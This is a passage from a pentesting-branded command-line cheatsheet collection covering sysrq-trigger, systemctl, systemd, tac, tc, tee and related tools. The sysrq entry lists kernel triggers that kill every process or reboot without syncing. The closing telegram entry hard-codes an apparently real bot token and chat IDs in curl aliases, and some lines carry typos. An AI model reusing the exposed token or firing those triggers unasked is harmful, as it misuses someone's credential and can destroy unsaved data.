░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

199 - 🖥️sysrq-trigger

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sysrq-trigger command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗   ██╗███████╗██████╗  ██████╗    ████████╗██████╗ ██╗ ██████╗  ██████╗ ███████╗██████╗ 
#  ██╔════╝╚██╗ ██╔╝██╔════╝██╔══██╗██╔═══██╗   ╚══██╔══╝██╔══██╗██║██╔════╝ ██╔════╝ ██╔════╝██╔══██╗
#  ███████╗ ╚████╔╝ ███████╗██████╔╝██║   ██║█████╗██║   ██████╔╝██║██║  ███╗██║  ███╗█████╗  ██████╔╝
#  ╚════██║  ╚██╔╝  ╚════██║██╔══██╗██║▄▄ ██║╚════╝██║   ██╔══██╗██║██║   ██║██║   ██║██╔══╝  ██╔══██╗
#  ███████║   ██║   ███████║██║  ██║╚██████╔╝      ██║   ██║  ██║██║╚██████╔╝╚██████╔╝███████╗██║  ██║
#  ╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝ ╚══▀▀═╝       ╚═╝   ╚═╝  ╚═╝╚═╝ ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝

# The "magic SysRq key" provides a way to send commands
# directly to the kernel through the /proc filesystem
# kernel documentation: https://www.mjmwired.net/kernel/Documentation/sysrq.txt
# using keyboard: Alt-SyqRq-KEY

# activate the magic SysRq option (root)
echo 1 > /proc/sys/kernel/sysrq

# activate the magic SysRq option (sudo)
echo 1 | suto tee /proc/sys/kernel/sysrq

# permanently activate sysrq
echo "kernel.sysrq = 1" >> /etc/sysctl.conf

# k – Kills all the process running on the current virtual console.
# s – This will attempt to sync all the mounted file system.
# b – Immediately reboot the system, without unmounting partitions or syncing.
# e – Sends SIGTERM to all process except init.
# m – Output current memory information to the console.
# i – Send the SIGKILL signal to all processes except init
# r – Switch the keyboard from raw mode (the mode used by programs such as X11), to XLATE mode.
# s – sync all mounted file system.
# t – Output a list of current tasks and their information to the console.
# u – Remount all mounted filesystems in readonly mode.
# o – Shutdown the system immediately.
# p – Print the current registers and flags to the console.
# 0-9 – Sets the console log level, controlling which kernel messages will be printed to your console.
# f – Will call oom_kill to kill process which takes more memory.
# h – Used to display the help. But any other keys than the above listed will print help.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

200 - 🖥️system_profiler

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the system_profiler command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗        ██████╗ ██████╗  ██████╗ ███████╗██╗██╗     ███████╗██████╗ 
#  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║        ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██║██║     ██╔════╝██╔══██╗
#  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║        ██████╔╝██████╔╝██║   ██║█████╗  ██║██║     █████╗  ██████╔╝
#  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║        ██╔═══╝ ██╔══██╗██║   ██║██╔══╝  ██║██║     ██╔══╝  ██╔══██╗
#  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║███████╗██║     ██║  ██║╚██████╔╝██║     ██║███████╗███████╗██║  ██║
#  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝╚══════╝╚═╝     ╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝╚═╝  ╚═╝

# system_profiler
# Report system hardware and software configuration (Mac OS X)

# Display a full system profiler report which can be opened by System Profiler.app:
system_profiler -xml > MyReport.spx

# Display a hardware overview (Model, CPU, Memory, Serial, etc):
system_profiler SPHardwareDataType

# Print the system serial number:
system_profiler SPHardwareDataType|grep "Serial Number (system)" |awk '{print $4}'
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

201 - 🖥️systemctl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the systemctl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#    ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗ ██████╗████████╗██╗     
#    ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║██╔════╝╚══██╔══╝██║     
#    ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║██║        ██║   ██║     
#    ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║██║        ██║   ██║     
#    ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║╚██████╗   ██║   ███████╗
#    ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝ ╚═════╝   ╚═╝   ╚══════╝
                                                                                              
                                                                                              
                                                                                              
# List all loaded/active units
systemctl list-units

# Check the status of a service
systemctl status foo.service

# Start a service
systemctl start foo.service

# Restart a service
systemctl restart foo.service

# Stop a service
systemctl stop foo.service

# Reload a service's configuration
systemctl reload foo.service

# Enable a service to startup on boot
systemctl enable foo.service

# Disable a service to startup on boot
systemctl disable foo.service

# List the dependencies of a service
# when no service name is specified, lists the dependencies of default.target
systemctl list-dependencies foo.service 

# List currently loaded targets
systemctl list-units --type=target

# Change current target
systemctl isolate foo.target

# Change default target
systemctl enable foo.target

#==============================#
# CMD SYSTEMCTL
#==============================##==============================#
# We can even use systemctl to get detailed information about an service

systemctl status sshd -l
#

systemctl --type=service
#

systemctl status ntpd.service
#

systemctl isolate multi-user.target
#

systemctl disable $unit.service
#

systemctl stop $unit.service
#

systemctl start $unit.service
#

systemctl list-unit-files | grep enabled
# Show services that are set to start up automatically on a systemd based system.

systemctl stop SERVICENAME
# systemd stop running service

systemctl start SERVICENAME
# start SERVICENAME

systemctl restart SERVICENAME
# systemd restart running service 

systemctl reload SERVICENAME
# reloads all config files for service

systemctl status SERVICENAME
# systemctl show if service is running

systemctl enable SERVICENAME
# systemctl - enable service at boot  

systemctl disable SERVICENAME
# systemctl - disable service at boot  

systemctl show SERVICENAME
# show systemctl service info

systemctl -H target command SERVICENAME
#  run systemctl commands remotely

systemctl list-dependencies
# show and units dependencies 

systemctl list-sockets
# systemd list sockets and activities 

systemctl list-jobs
# view active systemd jobs

systemctl list-unit-files
# systemctl list unit files and their states

systemctl list-units
# systemctl list default target (like run levlel)

systemctl reboot
#  systemctl reboot the system

systemctl poweroff
# systemctl shutdown (power off the system)

systemctl emergency
# Put in emergency mode

systemctl default
# systemctl default mode

systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target
# Disable sleep mode via cli and systemd (Centos, Debian Ubuntu?) - This causes computer to never power off or go into sleep mode. Disables sleep mode linux.

# restart Bluetooth from terminal
systemctl restart bluetooth

# Get CPU thermal data on MacOS
sysctl machdep.xcpm.cpu_thermal_level

#==============================##==============================#
# CMD SYSTEMCTL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

202 - 🖥️systemd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the systemd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗██████╗ 
#                ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║██╔══██╗
#                ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║██║  ██║
#                ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║██║  ██║
#                ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║██████╔╝
#                ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝╚═════╝ 
                                                                             
                                                                             
                                                                            
# Display process startup time
systemd-analyze

# Display process startup time at service level
systemd-analyze blame

# List running units
systemctl list-units

# Load a unit at startup
systemctl enable foo.service

# Start or Stop a unit
systemctl <start | stop> foo.service

# Unit file locations
/etc/systemd/system
/usr/lib/systemd/system

#==============================##==============================#
# CMD SYSTEMD						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

203 - 🖥️systemd-sysvinit

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the systemd-sysvinit command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗   ██╗███████╗████████╗███████╗███╗   ███╗██████╗ 
#  ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║██╔══██╗
#  ███████╗ ╚████╔╝ ███████╗   ██║   █████╗  ██╔████╔██║██║  ██║
#  ╚════██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██║╚██╔╝██║██║  ██║
#  ███████║   ██║   ███████║   ██║   ███████╗██║ ╚═╝ ██║██████╔╝
#  ╚══════╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝     ╚═╝╚═════╝
#                                                             
#  ███████╗██╗   ██╗███████╗██╗   ██╗██╗███╗   ██╗██╗████████╗
#  ██╔════╝╚██╗ ██╔╝██╔════╝██║   ██║██║████╗  ██║██║╚══██╔══╝
#  ███████╗ ╚████╔╝ ███████╗██║   ██║██║██╔██╗ ██║██║   ██║   
#  ╚════██║  ╚██╔╝  ╚════██║╚██╗ ██╔╝██║██║╚██╗██║██║   ██║   
#  ███████║   ██║   ███████║ ╚████╔╝ ██║██║ ╚████║██║   ██║   
#  ╚══════╝   ╚═╝   ╚══════╝  ╚═══╝  ╚═╝╚═╝  ╚═══╝╚═╝   ╚═╝

# SysVinit to Systemd Cheatsheet
# Services
#-------------------------------------------------------------------------------------------------------------------------------------------------
# Sysvinit Command              Systemd Command                 Notes 
#-------------------------------------------------------------------------------------------------------------------------------------------------
# service frobozz start         systemctl start frobozz         Used to start a service (not reboot persistent)
# service frobozz stop          systemctl stop frobozz          Used to stop a service (not reboot persistent)
# service frobozz restart       systemctl restart frobozz       Used to stop and then start a service
# service frobozz reload        systemctl reload frobozz        When supported, reloads the config file without interrupting pending operations.
# service frobozz condrestart   systemctl condrestart frobozz   Restarts if the service is already running.
# service frobozz status        systemctl status frobozz        Tells whether a service is currently running.
# ls /etc/rc.d/init.d/          systemctl                       Used to list the services that can be started or stopped
#                               (or) systemctl list-unit-files --type=service 
#                               (or) ls /lib/systemd/system/*.service /etc/systemd/system/*.service
# chkconfig frobozz on          systemctl enable frobozz        Turn the service on, for start at next boot, or other trigger.
# chkconfig frobozz off         systemctl disable frobozz       Turn the service off for the next reboot, or any other trigger.
# chkconfig frobozz             systemctl is-enabled frobozz    Used to check whether a service is configured to start or not in the current environment.
# chkconfig --list              systemctl list-unit-files --type=service 
#                               (or) ls /etc/systemd/system/*.wants/   
#                                                               Print a table of services that lists which runlevels each is configured on or off
# chkconfig --list | grep 5:on  systemctl list-dependencies graphical.target    
#                                                               Print a table of services that will be started when booting into graphical mode
# chkconfig frobozz --list      ls /etc/systemd/system/*.wants/frobozz.service  
#                                                               Used to list what levels this service is configured on or off
# chkconfig frobozz --add       systemctl daemon-reload         Used when you create a new service file or modify any configuration 

# SysVinit to Systemd Cheatsheet
# Runlevels/targets
#--------------------------------------------------------------------------------------------------------------------------------------------------
# Sysvinit Runlevel             Systemd Target                  Notes
#--------------------------------------------------------------------------------------------------------------------------------------------------
# 0                             runlevel0.target                Halt the system.
#                               poweroff.target
# 1, s, single                  runlevel1.target                Single user mode.
#                               rescue.target
# 2, 4                          runlevel2.target                User-defined/Site-specific runlevels. By default, identical to 3.
#                               runlevel4.target
#                               multi-user.target
# 3                             runlevel3.target                Multi-user, non-graphical. Users can usually login via multiple consoles or via the network.
#                               multi-user.target               
# 5                             runlevel5.target                Multi-user, graphical. Usually has all the services of runlevel 3 plus a graphical login.
#                               graphical.target
# 6                             runlevel6.target                Reboot
#                               reboot.target
# emergency                     emergency.target                Emergency shell 
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

204 - 🖥️tac

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tac command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗ █████╗  ██████╗
#                ╚══██╔══╝██╔══██╗██╔════╝
#                   ██║   ███████║██║     
#                   ██║   ██╔══██║██║     
#                   ██║   ██║  ██║╚██████╗
#                   ╚═╝   ╚═╝  ╚═╝ ╚═════╝
                                         

# tac: Concatenate and write files in reverse
# tac copies each file (‘-’ means standard input), or standard input if none are given, to standard output, reversing the records (lines by default) in each separately. 

# Records are separated by instances of a string (newline by default). By default, this separator string is attached to the end of the record that it follows in the file.
tac [option]… [file]…

# The program accepts the following options. Also see Common options.
# The separator is attached to the beginning of the record that it precedes in the file.
-b   --before

# Treat the separator string as a regular expression.
-r  --regex

# Use separator as the record separator, instead of newline. Note an empty separator is treated as a zero byte. I.e., input and output items are delimited with ASCII NUL.
-s separator    --separator=separator

# On systems like MS-DOS that distinguish between text and binary files, tac reads and writes in binary mode. An exit status of zero indicates success, and a nonzero value indicates failure.
    # Example:
        # Reverse a file character by character.
tac -r -s 'x\|[^x]'

tac 35.txt
# This command is very interesting which prints the content of a text file in reverse order, i.e., from last line to first line.

tac temp.txt > pmet.txt
# Reverse the order of the lines in a file using 'tac' (cat reverse) command

tac|tac|
# If you like pasting into STDIN pipeline, this trick can prevent the processing from starting until you press [Ctrl-D].

tac -s "^[[H" 
# You can reverse a set of "records" using tac with the -s option and a record separator. Used to make globe spin backwards.

tac myfile.txt > /tmp/temp; echo "my line" >> /tmp/temp; tac /tmp/temp > myfile.txt
# Insert a line at the top of a text file without sed or awk or bash loops
# Yet another way to add a line at the top a of text file with the help of the tac command (reverse cat).

#==============================##==============================#
# CMD TAC						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

205 - 🖥️taste

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the taste command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ████████╗ █████╗ ███████╗████████╗███████╗
#  ╚══██╔══╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝
#     ██║   ███████║███████╗   ██║   █████╗  
#     ██║   ██╔══██║╚════██║   ██║   ██╔══╝  
#     ██║   ██║  ██║███████║   ██║   ███████╗
#     ╚═╝   ╚═╝  ╚═╝╚══════╝   ╚═╝   ╚══════╝

# taste (Bash-Snippets)
# A recommendation engine that provides 3 similar items based on some input topic.

# Get the names of three recommendations based on supplied item
taste Catcher in the Rye

# Get the names and information on three recommendations based on supplied item
taste -i Kendrick Lamar

# Get information on the supplied item
taste -s Red Hot Chili Peppers
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

206 - 🖥️tc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗ ██████╗
#                ╚══██╔══╝██╔════╝
#                   ██║   ██║     
#                   ██║   ██║     
#                   ██║   ╚██████╗
#                   ╚═╝    ╚═════╝
                                 
                                 
tc qdisc add dev eth0 root netem delay 80ms 15ms distribution normal
# If you need to simulate latency on your Linux net interface, use `tc' 

#==============================##==============================#
# CMD TC						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

207 - 🖥️tee

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tee command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗███████╗███████╗
#                ╚══██╔══╝██╔════╝██╔════╝
#                   ██║   █████╗  █████╗  
#                   ██║   ██╔══╝  ██╔══╝  
#                   ██║   ███████╗███████╗
#                   ╚═╝   ╚══════╝╚══════╝
                                         
                                         
                                         

tee
    T

    The tee command is named after plumbing terminology for a T-shaped pipe splitter. This Unix command splits the output of another command, sending it to a file and to the terminal.

# To tee stdout to a file:
ls | tee outfile.txt

# To tee stdout and append to a file:
ls | tee -a outfile.txt

# tee would take the output of the first command in the pipeline and copy it 
# to standard output (the terminal) while also making copies of it in the files one, two and three:
somecommand | tee one two three

# write 3 to /proc/sys/vm/drop_caches (with root rights)
echo 3 | sudo tee /proc/sys/vm/drop_caches

# in Vim:
# The structure :w !cmd means "write the current buffer piped through command".
:w !sudo tee %

#==============================##==============================#
# CMD TEE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

208 - 🖥️telegram

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the telegram command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ████████╗███████╗██╗     ███████╗ ██████╗ ██████╗  █████╗ ███╗   ███╗
#  ╚══██╔══╝██╔════╝██║     ██╔════╝██╔════╝ ██╔══██╗██╔══██╗████╗ ████║
#     ██║   █████╗  ██║     █████╗  ██║  ███╗██████╔╝███████║██╔████╔██║
#     ██║   ██╔══╝  ██║     ██╔══╝  ██║   ██║██╔══██╗██╔══██║██║╚██╔╝██║
#     ██║   ███████╗███████╗███████╗╚██████╔╝██║  ██║██║  ██║██║ ╚═╝ ██║
#     ╚═╝   ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝

alias telegramcmk='curl --silent --output /dev/null --data-urlencode "chat_id=454740953" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'

alias telegramfelix='curl --silent --output /dev/null --data-urlencode "chat_id=505957501" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'

alias telegramsr='curl --silent --output /dev/null --data-urlencode "chat_id=343643687" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'

